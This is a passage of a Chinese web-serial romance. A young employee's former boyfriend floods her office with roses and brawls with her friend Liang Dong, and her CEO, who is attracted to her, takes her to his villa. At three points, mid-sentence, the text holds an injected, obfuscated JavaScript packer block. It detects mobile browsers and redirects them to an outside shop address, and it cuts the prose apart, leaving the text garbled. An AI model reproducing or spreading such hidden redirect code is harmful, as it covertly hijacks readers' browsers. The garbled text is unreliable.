微微一笑,林献转过身来:“办好了。清华大学听说我们有意举办市场传播专项讲座,十分欢迎,传媒学院的老师今晚都会赴宴,一起商讨讲座的主题和形式。” 您特别交代的那位梁栋老师,肯定不会缺席。 “嗯。讲座要用心办。校企合作进行人才培养储备,对集团长远发展有利。” “您说的对。” 但没必要和属下解释,众所周知——也没那么众——梁栋离职前和皮小姐关系暧昧,您这么说,有点欲盖弥彰了。 “去吧。”贺章淡声道。 “好的。”林献离开了。 贺章拿起手机,重新解锁,进入集团内网论坛,盯着那张人面玫瑰别样红的照片。 论坛帖子里已经盖起了高楼。 「收到一车玫瑰花的女人,又震惊又好笑」 「集团年度人物出现了」 「听说送花的人叫孙向前,大概是个富二代,有认识的姐妹吗?」 「好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14496164|153805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想采访当事人此刻的心情……」 …… 而此时,当事人已经从红温状态恢复正常了。 接到一楼前台电话,让她下来收花时,皮一夏还犯嘀咕,难道是梁栋的饭前一束花? 结果电梯门打开,她当场震惊了! 这哪是一束,这是整整一车啊!梁栋什么时候变这么浮夸了…… 前台小姑娘一脸羡慕地说:“皮皮姐,你这位追求者,是个霸道总裁吧!开着货拉拉进园区送快递,我们都还没反应过来怎么回事,好几个快递小哥列队进来,一会儿功夫快把大堂铺满了……这种追求方式太豪横了,电视剧都不敢这么演……” “……” 皮一夏不觉得开心,只觉得社死! “哦,这还有张卡片,你看看。” 皮一夏接过卡片,打开,三行文字映入眼帘: 「亲爱的皮皮: 玫瑰代表我的心,请收下我炙热的爱! ——孙向前[心][心][心]」 ……孙向前,我要杀了你! 上次从云溪庄园回来,两人都吵透了,孙向前离开前也放了狠话,说再回头找她就是狗,结果突然来这一出……他知道她最烦在公司惹出桃色新闻,所以故意恶搞她!这个狗东西! 很快,一楼聚集了一堆围观者。 皮一夏被花粉呛得头昏脑涨,面红耳赤地逃上楼,又被前台小姑娘追杀到工位。 “皮皮姐,那花你还是得尽快处理一下哦,不然领导该找我麻烦了。” “好的好的……我处理,这就处理!” 拜这一车玫瑰花所赐,皮一夏遭受了整个17层的围观和调侃,还有来自微信的无数问候,整整一下午,她脸皮都是麻的。 中午吃饭时,她还在庆幸,工作规划的PPT写得很顺利,已经提交了,今天可以正点走。 结果快下班时来这么一出,她被Vivian拎到会议室好一通提点,出来就赶紧打电话联系花店,打了十几个,才终于谈妥了三家,愿意回收那一车玫瑰,她也不问价格,只要能拉走,不给钱都行。 处理干净花,走出园区时都七点半了。梁栋发来微信,说临时被一个事绊住,大概八点到。 她回复:「不着急,你慢慢来。」 她也还需要一点缓冲时间,来梳理这两天纷乱的思绪。 步行到泰国餐厅门口,忽然遇到了林献。 “林助理,您怎么在这?” “皮小姐,好巧。”林献笑着打招呼,“别这么客气,叫我林献吧。” 皮一夏点头说“好”,又问:“你也来这家餐厅吃饭?” “我在附近办点事,刚办完,还没想好吃什么。你要吃这家餐厅?” 皮一夏可不想跟林献坐一块吃饭,最好不要一个餐厅,不然跟梁栋聊什么都不方便。 “是啊。我跟朋友约好了,他马上就到。” 这意思能听明白吧?可千万别问能不能拼桌啊…… 林献的神色似有几分错愕:“哦,那先不打扰你了。我刚想起来,有个文件忘了拿……还得回去。” “那不耽误你了,拜拜,周末愉快!” 林献脚步匆匆往园区走,边走边给贺章发微信:「SOS!梁栋正在赴约的路上!」 华森集团A座顶层。 CEO办公室里,贺章坐在办公桌后,眉心慢慢拧了起来。 很快,林献收到了最高指示:「拦住他。」 短短三个字,简直要了林献的命!怎么拦?要不他开车去撞呢?林献遭遇了从业以来最大的困境,欲哭无泪。 没过一会儿,又收到一条微信:「把车开到楼下。」 这是……要亲自去撞? 22. 情敌 晚八点,芭泰雅餐厅。 皮一夏坐在靠窗的位子,一手托腮,盯着外面的街道发呆。 内心还在纠缠。 从贺章送她回家那个晚上开始,到现在,两天过去了,依然没有理清思绪。 能够明确的是,她对贺章产生了不一样的感觉,但,是不是心动——甚至喜欢——还不敢确定。 这对她来说,是相当罕见的事。 以往的每一任男朋友,她都可以清楚地说出来,是什么时候,因为什么产生了好感。 一旦清楚了,接下来就是推进关系变化,这对她来说是再简单不过的事,毕竟男人都是视觉动物,外貌这一项上,她有优势。然后理所当然地恋爱,相处一段时间,她不喜欢了,两人分开。 这是常规的程序。 但贺章是个特别的存在。 她似乎对他心动了,但又说不出为什么而心动? 长得好看吗?有一点。她很喜欢他的长相,但这似乎不是主要原因。 性格吗?他那么说一不二、喜怒难辨,性格也算不上好,她又没有受虐倾向。 聊得来?好像也说不上。他们说了很多话,但大都是没什么用的垃圾话,没产生什么积极的影响,贺章常因为她的话而动怒,她也会因为他莫名其妙的动怒,而一头雾水,这算聊得来? 那还有什么吸引她?骨子里的教养?对上位者的崇拜? 似乎哪一项都差点意思。 可她会不自觉注意他的举动,不排斥和他待在一起,甚至经常忘了自己是下属,喜欢听他说话,这不是心动是什么?然而,跟以往的每一次心动,又都不一样。 以前心动了,她只会想对方有多好,而现在,她偶尔感觉自己不够好,这合理吗?他们才认识多久啊,这合理吗? 哎……要是在巴塞罗那,她没有上去招惹他,就不会出现这种混乱的状况了。 如果是那样,贺章会突然出现在周一的任命公告上,成为集团新任CEO,而她对他一无所知,和其他人一样,无需靠近,不用多想。 可如果真是这样……似乎也有点遗憾。 但无论如何,她跟贺章肯定是没可能的,与其想入非非,不如快刀斩乱麻,今天先见见梁栋,和他说清楚自己的想法。 八点过十分的时候,梁栋来了,还带了一束粉红色的玫瑰花。 做了三年同事,这还是第一次,梁栋这么毫不掩饰心意,给她送花,还是玫瑰,含义已经十分明显了。 她是有点尴尬的,习惯性用职场那套应付,接过花哈哈笑着说:“绅士呀栋哥!让你破费了。” 梁栋温温笑着落座:“为你破费,我心甘情愿。” 皮一夏心里一动。 无论如何,听到有好感的男生含蓄表白,还是愉悦的。 两人口味相近,很快点好了菜,皮一夏端着杯小口喝水,梁栋清了清嗓子,看着她慢慢开口了。 “皮皮。今天约你,是有一些话想和你说。” 皮一夏低了头,轻道:“你说。” 梁栋忽然拿起杯子,猛喝了一大口,放下之后,两手搓着腿,沉默了片刻才说:“咱们做了三年同事,彼此都很了解,我的心意,你应该清楚。我一直……都很喜欢你,但我也知道,你不想跟职场同事谈恋爱,所以我去大学当老师……当然,我做老师,不全是因为你啊,你不要有压力,这是我的人生选择,我并不想让你背负,但我希望你了解,我想和你在一起的决心。如果,你也对我有好感,能不能考虑,把男朋友的身份颁给我?” 他这一番话,说得太真诚,皮一夏眼眶都热了。 氛围很好的餐厅里,一男一女对坐,温言浅笑,这画面落在过路人眼里,是很赏心悦目的,但落在餐厅外马路旁半降的车窗里,那一双漆黑的瞳中,就是另外一种画风了。 林献坐在驾驶位,一声也不敢出。 车里的空气已经结冰了。 他虽然没法钻进自家老板心里,但大概能猜到他在想什么。 自己喜欢的女孩,正在跟另一个男人约会,看上去,男生很局促,显然是在表白。 以林献对老板的了解,和此时车里的气氛来推断,他大概很想冲进去,把皮小姐拉走,但一贯的骄傲和教养,又不允许他如此粗鲁地打断别人。 顶多如今天中午一样,借着讲座的由头,给清华的某位领导打个电话,再让他安排一场饭局,拖住那位梁栋。 但很显然,拖延政策失效了,梁栋还是来了,且比他们早了两分钟。 两分钟,转瞬即逝的一百二十秒,却能改变很多事。 有时候爱情的发生,就是一点情愫,加上刚刚好的时机。错过了,也许就是一辈子。 这个时候教养什么的,也不是那么重要吧!如果真喜欢她,就冲进去把她抢过来啊! 林献想劝劝老板,免得后悔莫及。 “Ethan……” 他刚开口,耳边忽然传来“砰”的一声撞击,伴随着一个男人的低吼。 “皮一夏!” 林献猛地转头看向窗外,芭泰雅餐厅的玻璃门里外扇动,与此同时,一个年轻男人冲进餐厅里,径直走到皮一夏身边,一把拉住她手腕,扯起来就往外走。 这男人,貌似是云溪庄园河边那位,叫孙向前的。 林献错愕的目光转回后视镜,却在自家老板脸上看见了诡异的神情。 如果要形容,那大概是被激怒之后强自压抑,结果情况突然发生转折,于是有一种大仇得报的快慰神情。 所以这位孙向前……不会是Ethan喊来的? 不用问了。 看他嘴角那一丝若有似无的笑吧,答案不是明摆着吗? 林献一头黑线,又将视线调转回窗外的战场。 皮一夏和孙向前站在餐厅外面吵了一会儿,很快,梁栋走了出来,有拉架的动作,结果,孙向前指着他骂了句,两人就动起手来了。 男生打架,尤其还是情敌关系,那是十分不客气的。 没一会儿两人都挂了彩,餐厅里的人纷纷跑出来围观,有的甚至拿出手机开始录视频,皮一夏焦急地拉架,时不时被打红眼的两人搡到。 很快,民警来了。 两男争一女的大戏谢幕,贺章嘴角勾着点笑,扯了扯西装的袖口,慢条斯理地说了句:“下车吧。去把路人的视频处理掉。” “……好的Ethan。”林献满脸无语地推开车门。 民警正在讯问事情经过,贺章信步走过来,皱眉问了句:“怎么了这是?” 皮一夏看见他,先是一惊,继而像老鼠见了猫,缩了缩脖子:“没事贺总,发生点小矛盾。” “小矛盾?”民警沉着脸,“小矛盾打架斗殴?我看是都想吃牢饭了!跟我走。” 皮一夏忙陪笑脸:“别别!警察叔叔,真没大事,我们闹着玩呢,现在不打了,讲和,就不浪费警局资源了……” 孙向前却不依不饶,一手捂着腮帮子,一手指着梁栋,咧嘴嘶声:“警察叔叔,我被他打伤了,我要验伤!我要告这一对狗男女!” “……”皮一夏怒瞪孙向前,“你他妈嘴巴给我放干净点!” 民警厉声呵斥:“怎么的!再给你们个舞台接着打?!”两人同时噤声,“都给我上车,回去做笔录!” 就这样,三个当事人坐着警车去了派出所,贺章开车跟在后面,以目击者和当事人领导的身份。 从晚上八点十五分,到十点半,终于走完了派出所的一堆流程。 孙向前一直嚷嚷着要验伤、要起诉,最后被自己亲爹孙辉赶过来抓走,塞进了车里。 派出所小院的僻静角落里,贺章直视面前的大肚子男人,语声寒凉:“孙总,皮一夏是华森的员工,还是……”他好像差点脱口而出什么秘密似的,在此处顿了一顿,续道,“无论如何,我不希望再看到令郎继续纠缠她,否则,我不介意帮您管教儿子。” “一定一定!”孙辉点头哈腰满脸恭笑,“您放心贺总,我回去一定好好修理那个臭小子!他要再敢打扰皮小姐,我把他腿卸了!今天真是不好意思,给您添麻烦了,改天我做东,请贺总一定要赏脸,我亲自带那个不成器的东西给您赔罪!” “赔罪就免了。我只看以后。” “好的好的!那今天就先不打扰贺总了,您忙!您忙……” 孙辉讪笑着离开了。 贺章又在阴影里站了片刻,走出派出所大门,坐进了吉普车里。 等了大概十分钟,皮一夏和梁栋并肩出来了。 贺章看向皮一夏,冷冷说了两个字:“上车。” 皮一夏有点怵他,迟疑着没动,梁栋却说:“不劳烦您了贺先生,我送皮皮回去。” 贺章看都没看他,直盯着那个低垂着头的、可恨的女人:“你今天给我找的这桩麻烦,没什么要说的?” 皮一夏快速瞟了他一眼,沉默两秒,转头对梁栋说:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14504567|153805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 栋哥,你先回去吧。今天都是我不好,把你牵连进来了,我们……之后再说。” 梁栋抚着她肩膀,轻声说:“不怪你,早点回去休息吧。” 贺章的视线落在她肩头那只手上,握着方向盘的指节咯咯作响。 皮一夏慢吞吞地爬进副驾,和外面的梁栋摆了摆手:“拜拜栋哥。” 没等到梁栋回应,车子就启动驶离了。 吵吵嚷嚷了一整晚,突然安静下来,皮一夏有点虚脱,蔫蔫地窝在副驾,弱声弱气地说了句:“对不起啊Ethan,给你添麻烦了。还有,谢谢你。” 原本孙向前一定要起诉,后来他爸孙辉来了,跟贺总在院里说了会儿话,进来就揪住孙向前的后脖领子,把拎走了。 所以她知道,今晚的事能顺利解决,一定是贺章在中间做了转圜。 若非如此,她跟梁栋恐怕都要吃官司,她倒还好说,梁栋是在学校工作的,那种机构的政审太严格,只怕会成为他的人生污点。 哎……欠了贺总一个大人情,这可怎么还? “Ethan,以后如果有什么我能帮上忙的,您尽管说。” 这会儿她也不敢再琢磨那些旖旎情思了,老老实实当欠债的吧。 贺章右手握着方向盘,左手肘撑住车窗,两指掐捏着唇两侧,偏头掩住了嘴角的一丝笑意,清了清嗓子,说:“伤到没有?” “没有,没伤到。” 贺章瞥了她一眼,见她拿左手握着右手手腕,轻轻揉捏着。 扭到了?贺章脸色沉了。 车子开得飞快,二十多分钟,就进了丰和壹号别墅。 “欸?!”怎么把她带这了? 她惊诧地看向贺章,后者凉凉地扫她一眼:“怎么?你今晚立了大功,我还得亲自把你送回家?” “……”不敢。 但是可以半路把她放下来,让她打车回去的……这是怎么话说的,还要回他家聆训吗? 皮一夏垂头丧气,亦步亦趋地跟着贺章,进了别墅一楼的客厅。 “等着!”他丢下一句话,就往楼梯旁边的屋子去了。 皮一夏乖乖在沙发上罚坐。少顷,贺章走了回来,手里提了个药箱。 啊,是给她拿的药吗?他怎么看出来的……真是跟鬼一样。 她下意识又揉了揉手腕,贺章把药箱放在茶几上,从里面取出一瓶药水,然后坐在沙发上,她的右边。 “手伸出来。” “我自己来吧……”她试图去拿那瓶药水,被他一个眼神给制止了。 “你自己舍得下手揉?明天手腕子伤着,谁给我照看花园?” 有道理……好吧。 手腕缓缓伸过来,细白的一根,中间两根脆骨凸出来,显得文文弱弱,偏偏能招惹那么多是非! 贺章拿棉棒蘸取药水,涂抹在红肿处,然后另一手扣上去,缓缓揉动起来。 他的手掌大,抓她一只手腕绰绰有余,指节透着一股强悍的力量,感觉只要稍稍用力,就能折断她。 药水味刺激着她的鼻腔,稍显粗粝的掌心触感令她耳根发红,想逃,脑子里忽然闪现一些久远的记忆,脸颊也烫起来了。 她试图分散心思,盯着他西裤的褶皱,声音飘忽着说:“您怎么会去芭泰雅餐厅?” 贺章的手顿了顿,下一秒,加了些力道。 “嘶……”她忽然出声,小脸皱巴起来。 “很疼?”贺章抬眼,不等她回答,又冷冷道,“疼也忍着。” “……” “路过,看见一场好戏。”他回答她前面的问题。 皮一夏这回真脸红了,低着头不看他。 “那个孙向前,是怎么回事?”贺章问。 “他是……我前前男友。你大概也听说了,今天C座那一车红玫瑰吧,就是他搞的,故意恶心我呢。” “皮小姐魅力无边。”这句话的揶揄之意不要太明显,可他还没完,“分手了也让人念念不忘。今天跳河,明天送花。” “……谁、谁跳河了!” 云溪庄园那次分明是意外,而且掉进河里的是她好吧。被孙向前缠上,还是她的错了?她又没有拖泥带水,分手分的很明确! 皮一夏低着头,有点挂脸,贺章扫了她一眼,又往手心里倒了点药水,握上去缓缓地揉捏。 “梁栋呢?”他又问。 目光紧紧盯着她,恨不得把她的脸掰过来,让她正面朝向他。 23. 诱导 “梁栋,”皮一夏含糊说了句,“你不是认识了吗?华森文娱前市场部总监,我朋友。” 看来还不是男朋友。 贺章忽然感觉憋闷的情绪缓解了不少,手下的力道也随之变得轻柔,像他接下来的语气,带着一□□导意味。 “你喜欢他?” 皮一夏猛地抬头,脸红着,有点结巴地说:“干嘛、这样问。” 在一个疑似有点心动的男人面前,要怎么回答和另一个男人的关系。 贺章似乎只是随口一提,没看她,神色漫不经心,一边揉她手腕,一边说:“他来找你,被你前前男友看到,两人打了一架,答案很明显。” “不是的!”她像急于证明自己的心似的,声调也提高了,“我跟孙向前早没关系了,他就是瞎胡闹。梁栋……今天来找我吃饭,确实有事要聊。” 她忽然忍不住,想再多说一点。 “我跟梁栋,是很好的朋友,可以说是知己。我们在很多方面都挺像的,他喜欢我,我知道,但这些年,一直没有迈出那一步。” 她看着贺章。 像蜗牛探出柔软的触角,看对面的人接不接招。 可他没有抬头,仍然是漫不经心的语气:“哦?都哪方面像?” “做事的风格,待人接物的习惯,喜欢的菜,爱看的电影……这些。”她有点失落,语气也低了下来。 “那为什么,一直没有迈出那一步?”贺章继续追问。 “说不清。”她借机梳理自己的思绪,慢慢说着,“起先是,我不愿意和同事谈恋爱,后来,距离远了也没觉得怎么样,如果他找我出来吃饭,我又是开心的。但是,总感觉不知道哪里差点东西……而且,我这个人不怎么样,也不太想坑好朋友。万一最后结果不好,还失去一个朋友。” 贺章忽然嗤笑一声,揉她手腕的动作也停了下来。 皮一夏一怔,抬头与他对视:“你笑什么?” “我笑你,当局者迷。” “什么意思?” “太过相像的人,注定只能做朋友,没办法做恋人。你不必尝试,否则一定会失去这个朋友。” 他说得斩钉截铁,配上那双笃定的,漆黑的眼瞳,充满了信服力。 皮一夏迟疑着问:“为什么这么说?你有经验?” 贺章没有回答这个问题,反而继续说:“你们有那么多共同爱好,连做事风格也一样,你以为这是好事?不!等你们成为男女朋友,在风平浪静的时候自然没问题,一旦遇到风浪,你们相同的弱点就会经不住考验。但人是不会怪自己的,于是只能相互指责,到那时候,你就不会说你们很相似了,只会觉得你看走了眼,他也会觉得自己看走了眼。相反,如果你们继续做朋友,对彼此没有责任,反而会在遇到挫折时,彼此扶持,只记念对方的恩情。” “是这样吗?”皮一夏神色茫然。 虽然是问句,但其实她内心深处的天平已经偏向于认同。 贺章语气笃定,但毫不刻意地说:“你尽可试试。如果你觉得,和他改变关系的诱惑,已经大过了做一辈子的好朋友。” 皮一夏陷入了沉思。 贺章一动也不动,目光紧紧凝着她。 那只细细的手腕还躺在他手心,柔若无骨,轻若无物。褐色的药水已经渗进皮肉里,刺鼻的药味挑动着他的神经,让他清醒,也让他沉沦。 即便是坐在谈判桌上,也没有像此时一般心潮澎湃过。 忽然传来的狗叫声,蓦地唤回了皮一夏的神志。 她看向脚边的Oliver,眼里涌上笑意:“Oliver,你刚刚在哪躲着呢?怎么现在才出现?” 她伸出两手去抱狗,忽然记起右手腕上有药,于是又换成了单手缓缓去撸。 Oliver吐着粉红的小舌头朝她哈气,前爪扒上了她膝头。 贺章盯着一人一狗看了会儿,突然起身,往庭院里走去。 皮一夏愣眼瞧着他的背影,想问自己是不是可以回家了,犹疑的功夫,他已经走出去了。 她只好继续坐在沙发上等。 顺便想想刚才的话。 贺章说得很笃定,好像真的有过相似经历似的,难道他之前说的,那个偶尔记起的人,就是他的好朋友,后来成为恋人,又不欢而散了吗? 有可能。 是什么样的人,能让他这样一个人,忘不掉呢? 一定是个很优雅,很漂亮,很有才华,性格也很好的女孩吧。 那一点点酸涩的感觉又涌上来了。 这下她基本可以肯定,对贺章是心动了。 怎么办呢? 怎么办呢? 皮一夏愁绪满怀地枯坐了十多分钟,才等回贺章。 “我得回家了。”她站起身说。 贺章丢给她一串钥匙,她下意识接住,疑惑道:“这是什么?” “花园里那栋二层建筑,你今晚睡那里。这是卧室的钥匙,你拿着,不用担心我会半夜闯进去。” “……不用了吧。” 她有家不回,干嘛要住在这里啊,好奇怪! 贺章盯着她,语气冷冷的:“我没空送你,让你一个人大半夜出门,万一出了事,我脱不清干系。所以最好的办法,是你住在这里。” 话是这么说,但她打车到家二十多分钟,现在快十二点了,路上又不堵车,也许二十分钟都用不到,能有什么危险呢? 贺章似乎不耐烦,眉心皱了起来:“让你住就住!桂叔偶尔也会在这住一宿,那个房子里的床上用品都是新的。” “……哦。” 她怎么这么轻易被他拿捏呢?但凡有机会,让她变成他的老板,她一定会狠狠地虐他一顿! “在骂我?”贺章盯着她问。 皮一夏心里一惊,这人的眼睛是X光吗? “没有,怎么会!”她有点赌气地说了句。 贺章偏过脸,嘴角微微上翘:“没有就赶紧去睡觉。那里的洗漱用品也可以随意用。” 皮一夏不再多言,起身往庭院里走,Oliver颠颠跟在她身侧,她蹲下身,摸了摸他的头,小声说:“你别跟着我了,我要去睡觉了,明天见。” 起身走了两步,Oliver还跟着。 她有点无奈,转头看向贺章,他的两手插进裤子口袋,闲闲地立在门口,煌煌的灯光从他背后照过来,人仿佛是长在高山之巅,一团锦绣祥云里的松柏,孤冷、挺拔。 “Oliver,回来。”连声音也好听。 怎么办呢? 皮一夏低了低头,转身往花园走去。 第二天早上,皮一夏在木屋二层的卧室里醒来,已经八点四十了。 她伸了个懒腰,蛄蛹在被子里,一点也不想起来。 这张床太舒服了,比她家里那张双人床大一半不说,床垫的软硬也刚刚好,既不会太软,让人睡醒后腰酸背痛,也不会太硬,让人睡醒后腰酸背痛。 在接触到富豪家的床之前,她从来不知道,可以有床垫睡起来这么舒服……山猪难得吃了回细糠,她自然不想撒嘴。 眼睛在屋子里来回扫了扫,第无数次惊叹有钱人的生活,是真讲究。 这间二层小楼是木质结构,她原本以为,内部可能就像民宿一样,有基本的家具,顶多高端点,没想到,这里的装修格调丝毫不输别墅主屋。 但不是同一种风格的奢华。 别墅是新古典主义风格的,优雅唯美之间稍显冷硬,有点像它的主人,而这栋木屋,是奶油白原木简约风,置身其中让人心情明朗,仿佛今天会有好事发生。 皮一夏不自觉笑了笑,强迫自己从床上坐起来,刷牙洗脸,开启她作为花匠的一天。 收拾完走出房门,冷不防看见了花园里的人。 贺章穿着米白色休闲家居服,一手插兜,另一手抓着水管喷头,正在浇灌草坪。 “Ethan——”她扬声喊他,脸上带着晨光似的笑。 贺章转头,视线穿过草坪,看向二楼回廊上的女孩,她正摇摇地招手。 他竟也下意识地,伸出手,朝上举着,小幅度地摆了摆,转瞬又放下,不自在抵到了唇边。 “你怎么把我的活儿干了?”皮一夏问。 贺章抿了抿唇,也扬声朝她:“看见了还不下来!” 她笑得更大了,露出雪白的贝齿:“好的,我这就下来。” 说完转身抬脚,一阵风似的跑到回廊转角,顺着木质楼梯,哒哒哒快步跑了下来。 一直跑到他身边才停下脚,喘着气,一张素净的面庞未施粉黛,脸颊红扑扑,唇是淡粉色,眼睛亮亮地盯着他。 “跑那么快做什么?” 他差点没忍住去抹她额角的细汗,手抬到半路,急转弯握住了水管。 “我不能让老板帮我做事呀。” 她笑眯眯说着,就要接掌水管。手腕上还有淡淡的,褐色的药水痕迹。 贺章却关掉水龙头,把水管丢到了地上:“我都浇完了,你才说这话?”声色淡漠,语气里却没有责怪之意。 皮一夏撇了撇嘴:“那我也没让您帮忙呀。而且,现在才刚刚九点,我不算上班迟到吧?” 意思是,谁让您来抢我的活了。 贺章挑了挑眉,睨着她:“你这意思,是我的错?” “……不敢。”她鼓了鼓腮帮子,语气硬硬地丢下两个字。 贺章忍不住想笑,偏头躲开了她的视线:“过来吃饭。” “啊?” 她才刚起床,就有早饭吃啊? “啊什么啊?还想让我饿着肚子等你多久?” “……我也没让您饿肚子呀。” 您自己吃自己的饭就得了呗。真是的。 皮一夏跟在他身边,稍稍错后一步,穿过花园,往别墅方向去。 秋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14507809|153805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高气爽,日光明媚,皮一夏心情大好,暂且将昨天的糟心事抛到了脑后,有一搭没一搭地跟贺章说话。 “Ethan,您还是穿这样的居家常服比较好,不那么吓人。” 米白色开衫和长裤,衬得他整个人都明快了许多,不像穿正装时…… “你是说,我穿其他衣服很吓人?”贺章眼风扫过来。 皮一夏耸了耸肩,笑着改口:“不是吓人。是另一种风格,比较……威武霸气。” 不近人情。 “别在心里骂我。”他紧跟着说了一句。 惊得她双眼圆瞪,紧紧咬住了下唇,憋着笑意。 贺章低低哼了一声,视线从她头顶扫到脚,语焉不详地回了句:“你的风格,也很……别具一格。” 还是宽大的工装背带裤,搭配米黄色线衫。 真不知道她怎么会有那么多背带裤,这次又是军绿色的,穿上更像一个花匠了。 皮一夏白了他一眼,傲娇地扬起下巴:“你也别在心里骂我。” 两人对望一眼,都笑而不语。 早饭还是在厨房岛吃的。 皮一夏想去外面的宴客厅里,对着庭院里赏心悦目的风光吃,但贺章不同意,说是外面冷。 于是两人只好并肩挤在一起。 这岛台还挺长的,放了四张高脚椅,他们坐了其中两个,中间没有隔着。 吃了一会儿,皮一夏就忍不住说:“你往那边去点儿。” 不然她晃来晃去,老是蹭到他肩膀,或者后脚跟踢到他小腿骨,然后心慌慌地道歉,换来他一张冷脸,和一句冷声冷气的:“好好吃饭。” 所以这么多凳子,干嘛不坐远点。 贺章淡淡瞥她:“我就坐这,你有意见?” “……哼。”不敢。 但她可以换一张椅子。 皮一夏端着餐盘,绕过他背后,往里边去,坐到了第四张椅子上,和他中间隔着一个位置。 贺章面色不虞,瞧了她几眼,很快就放下筷子,上楼去了。 皮一夏默默吃完了早餐,去洗碗,贺章的盘子和碗都整洁,用过的餐具虽不说像干净的,但也只留了一点酱汁痕迹。 不像她,剩了一口鸡蛋,两口奶油小馒头,还剩了一点白粥。 ……哎,好像又心动了一点。 九点半上工,皮一夏先检查一遍花。 有一株文心兰叶尖上出现了淡黄色小斑点,桂叔说过,这种叫炭疽病,需要保持叶片干燥,浇水时不能冲着花心,还得喷点药剂。 皮一夏取出治疗炭疽病的药剂,一个白色的小喷壶,对着叶片喷了几下,接下来一周观察情况就可以了。 将每一株花都仔细检查过后,太阳已经升到东南角了。 可以小小地摸会儿鱼吧?她摸出来手机,先回了两个紧急的工作消息,接着打开相机,对准了花坛角落里的一株风雨兰。 这花一般在春夏的雨后开,现在都已经秋天了,居然还有花苞,而且眼看着就要开似的。 说不定能捕捉到风雨兰开花的瞬间,她蹲在花坛一角,一边拍花,一边念念有词。 “开吧。我还没见过风雨兰开花呢。” 冷不防左侧伸来一只骨节分明的手,她还没来得及惊讶,就见那手冲着花苞轻轻弹了一下。 粉色的花瓣瞬间四散打开……竟然被弹开了花! 皮一夏震惊地控诉:“你好暴力!”但是好好看。 贺章盯着她,语气淡淡的:“早晚要开花,我只是帮它一把。”说完就直起腰,拎着笔记本电脑,闲庭信步朝二层小屋去了。 皮一夏冲他的背影皱了皱鼻子,开始清理花园里的枯叶,秋天来了,落叶变多,这项工作还挺耗时的。 偶尔抬头,朝小木屋的二楼看一眼,贺章坐在回廊的躺椅上,对着电脑办公,偶尔站起身打个电话,扶着额头,脸色似乎沉着。 老板没有休息日,虽然钱多,但也……挺好的。 谁要同情资本家啊! 皮一夏干累了,摊在榕树底下的躺椅上休息。 有一点微风,吹在脸上柔柔的,让人萌生困意,她闭上眼躺了会儿。 贺章什么时候会发现花园里少了一个人呢?什么时候会来教训摸鱼的员工呢? 正想着,就听见了他略带揶揄的声音:“挺惬意的?” 皮一夏缓缓睁开眼,心里有点算不上得逞,但确实可称为雀跃的感觉。 她直挺挺躺着没动:“我已经干了一大半活儿,现在是劳逸结合时间。” 她现在不那么怕他了,甚至偶尔,忍不住想招惹出他一点脾气。 谁知他皱眉朝她伸出了手:“别动,虫子。” 淡淡的一声,却如同惊雷,吓得她瞬间弹坐起来,而贺章恰好弯下腰,猝不及防的慌乱里,她淡粉色的唇,直直怼到了他坚硬的下巴上。 皮一夏瞬间倒抽一口凉气。 24. 奖励 “皮一夏,你不许哭。” 林献:“……” Ethan,有没有一种可能,女孩子哭了需要的是哄,而不是冷冷的、带着命令的呵斥。您把人惹哭了,不赶快滑跪就算了,态度还这么嚣张……追女孩,不是这么个追法啊! 林献满头黑线,从后视镜里看贺章。 贺章正襟危坐,抓着手机放在耳边,一本正经的神色,好像在进行什么国际谈判。 “你好好说话。”他说。 那头,皮一夏还没从气恼中走出来,抽着鼻子说:“我哪儿不好好说话了?我跟朋友见个面,您又发微信又打电话的,这是休息日,我还不能有点自己的时间了?” 贺章默了默:“拒绝梁栋,值得你这么伤心?” “你懂什么!你知道梁栋有多好?我只是为辜负别人的真心感到难过。” “梁栋既然那么好,你们为什么兜转几年没在一起?”贺章冷冷地说了一句,转念意识到这句话对自己不利,又补充,“……这就说明没缘分,你对他,不是恋人的感觉,你脑子清楚点。” “你才脑子不清楚!你打电话来,就是为了骂我吗?!” 贺章恼怒地按揉太阳穴,沉着脸说:“我是要告诉你,别把自己看得太重要,梁栋用不着你同情,他会有自己的缘分。还有,我要看Oliver。” 皮一夏气得跺脚:“你自己飞回来看吧!”说完就狠狠挂掉电话,抹了把眼圈,往地铁站走。 该死的贺章! 嘴上抹了毒吧! 她怎么会看上他!他跟梁栋比起来,差远了! 坐上地铁的时候,皮一夏心情平复了些,这才点开贺章的微信。 一共两条。 「你抽空去看一眼Oliver。」 「我昨晚梦到他掉泳池里了。」 皮一夏心里一惊,妈呀,狗狗不会真淹死了吧! 她急忙下地铁,打上车,以最快的速度往贺章家里赶。 进了庭院大门,一边喊着“Oliver”,一边朝别墅方向跑。 